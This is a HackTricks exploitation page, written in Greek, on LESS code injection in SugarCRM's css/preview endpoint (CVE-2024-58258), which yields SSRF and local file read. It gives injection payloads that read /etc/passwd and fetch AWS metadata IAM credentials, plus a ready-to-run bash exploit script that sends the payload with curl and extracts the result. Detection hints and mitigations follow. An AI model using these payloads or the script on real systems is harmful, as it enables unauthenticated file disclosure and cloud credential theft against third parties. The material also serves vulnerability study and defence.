LESS Code Injection leading to SSRF & Local File Read
Reading time: 4 minutes
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Επισκόπηση
LESS είναι ένας δημοφιλής προεπεξεργαστής CSS που προσθέτει μεταβλητές, mixins, συναρτήσεις και την ισχυρή οδηγία @import
. Κατά τη διάρκεια της μεταγλώττισης, η μηχανή LESS θα ανακτήσει τους πόρους που αναφέρονται σε δηλώσεις @import
και θα ενσωματώσει ("inline") το περιεχόμενό τους στο παραγόμενο CSS όταν χρησιμοποιείται η επιλογή (inline)
.
Όταν μια εφαρμογή συνδυάζει είσοδο που ελέγχεται από τον χρήστη σε μια συμβολοσειρά που αναλύεται αργότερα από τον μεταγλωττιστή LESS, ένας επιτιθέμενος μπορεί να εισάγει αυθαίρετο κώδικα LESS. Εκμεταλλευόμενος το @import (inline)
, ο επιτιθέμενος μπορεί να αναγκάσει τον διακομιστή να ανακτήσει:
- Τοπικά αρχεία μέσω του πρωτοκόλλου
file://
(αποκάλυψη πληροφοριών / Τοπική Συμπερίληψη Αρχείων). - Απομακρυσμένους πόρους σε εσωτερικά δίκτυα ή υπηρεσίες μεταδεδομένων cloud (SSRF).
Αυτή η τεχνική έχει παρατηρηθεί σε πραγματικά προϊόντα όπως το SugarCRM ≤ 14.0.0 (/rest/v10/css/preview
endpoint).
Εκμετάλλευση
- Εντοπίστε μια παράμετρο που είναι άμεσα ενσωματωμένη μέσα σε μια συμβολοσειρά στυλ που επεξεργάζεται η μηχανή LESS (π.χ.
?lm=
στο SugarCRM). - Κλείστε τη τρέχουσα δήλωση και εισάγετε νέες οδηγίες. Οι πιο κοινές πρωτογενείς είναι:
;
– τερματίζει την προηγούμενη δήλωση.}
– κλείνει το προηγούμενο μπλοκ (αν απαιτείται).
- Χρησιμοποιήστε
@import (inline) '<URL>';
για να διαβάσετε αυθαίρετους πόρους. - Προαιρετικά, εισάγετε μια σημείωση (
data:
URI) μετά την εισαγωγή για να διευκολύνετε την εξαγωγή του περιεχομένου που ανακτήθηκε από το μεταγλωττισμένο CSS.
Τοπική Ανάγνωση Αρχείων
1; @import (inline) 'file:///etc/passwd';
@import (inline) 'data:text/plain,@@END@@'; //
Το περιεχόμενο του /etc/passwd
θα εμφανιστεί στην HTTP απόκριση ακριβώς πριν από τον δείκτη @@END@@
.
SSRF – Cloud Metadata
1; @import (inline) "http://169.254.169.254/latest/meta-data/iam/security-credentials/";
@import (inline) 'data:text/plain,@@END@@'; //
Αυτοματοποιημένο PoC (παράδειγμα SugarCRM)
#!/usr/bin/env bash
# Usage: ./exploit.sh http://target/sugarcrm/ /etc/passwd
TARGET="$1" # Base URL of SugarCRM instance
RESOURCE="$2" # file:// path or URL to fetch
INJ=$(python -c "import urllib.parse,sys;print(urllib.parse.quote_plus(\"1; @import (inline) '$RESOURCE'; @import (inline) 'data:text/plain,@@END@@';//\"))")
curl -sk "${TARGET}rest/v10/css/preview?baseUrl=1&lm=${INJ}" | \
sed -n 's/.*@@END@@\(.*\)/\1/p'
Ανίχνευση
- Αναζητήστε δυναμικά παραγόμενες απαντήσεις
.less
ή.css
που περιέχουν μη καθαρισμένες παραμέτρους ερωτήματος. - Κατά την ανασκόπηση του κώδικα, αναζητήστε κατασκευές όπως
"@media all { .preview { ... ${userInput} ... } }"
που περνιούνται σε συναρτήσεις απόδοσης LESS. - Οι απόπειρες εκμετάλλευσης συχνά περιλαμβάνουν
@import
,(inline)
,file://
,http://169.254.169.254
, κ.λπ.
Μετριασμοί
- Μην περνάτε μη αξιόπιστα δεδομένα στον μεταγλωττιστή LESS.
- Εάν απαιτούνται δυναμικές τιμές, καθαρίστε/αποστειρώστε τις σωστά (π.χ., περιορίστε σε αριθμητικά tokens, λευκές λίστες).
- Απενεργοποιήστε, όταν είναι δυνατόν, τη δυνατότητα χρήσης
(inline)
εισαγωγών ή περιορίστε τα επιτρεπόμενα πρωτόκολλα σεhttps
. - Διατηρήστε τις εξαρτήσεις ενημερωμένες – η SugarCRM διόρθωσε αυτό το ζήτημα στις εκδόσεις 13.0.4 και 14.0.1.
Πραγματικές Περιπτώσεις
Προϊόν | Ευάλωτο Endpoint | Επιπτώσεις |
---|---|---|
SugarCRM ≤ 14.0.0 | /rest/v10/css/preview?lm= | Μη αυθεντικοποιημένο SSRF & ανάγνωση τοπικών αρχείων |
Αναφορές
- SugarCRM ≤ 14.0.0 (css/preview) LESS Code Injection Vulnerability
- SugarCRM Security Advisory SA-2024-059
- CVE-2024-58258
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.